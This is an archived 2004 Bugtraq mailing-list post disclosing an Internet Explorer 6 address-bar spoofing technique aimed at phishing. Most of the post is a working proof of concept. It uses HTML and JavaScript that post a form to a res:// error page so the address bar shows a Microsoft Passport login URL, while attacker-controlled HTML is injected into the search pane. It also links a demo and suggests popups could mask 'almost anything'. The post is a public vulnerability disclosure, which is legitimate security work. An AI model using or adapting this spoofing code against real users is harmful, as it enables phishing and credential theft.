Home page logo
/

bugtraq logo Bugtraq mailing list archives

Address Bar Spoophing for the Pheeshies: IntotheNet Explorer 6
From: "http-equiv () excite com " <1 () malware com>
Date: Wed, 8 Dec 2004 00:20:20 -0000



Tuesday, December 07, 2004

This is phunny in a pheeble kind of way:

 <phorm  id="phoo" action="res://C:\\WINDOWS\\system3\\
shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf?id=666"; 
method="post">
<input  type="submit" value="default value"></phorm>
<a id="phee" hreph="hotphemail.html" target="_search">test</a>

 <script>
var malware = screen.availHeight;
window.moveTo(0, 0);
window.resizeTo(500,malware);
phee.click()
setTimeout("phoo.submit();",1);
 </script>

This is the hook:

res://C:\\WINDOWS\\system3\\
shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf?
id=malware.is.here

phorm submitted, leaves our manuphactured [or real] address in the address 
bar.

What we then do is inject our proper html into the search pane which then 
gives the impression that the address and site are all correct.

Dumbed Down Demo:

http://www.malware.com/pzeesh.html

Notes:

1. Much more elaborate window.open() and window.createPopup() can be moved 
and juggled around to mask almost anything to create a 'cleaner' look plus 
other "things"

2. Pretty phoolish if you phall for it

3. Pharewell then !



End Call

-- 
http://www.malware.com





  By Date           By Thread  

Current thread:
  • Address Bar Spoophing for the Pheeshies: IntotheNet Explorer 6 http-equiv () excite com (Dec 08)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault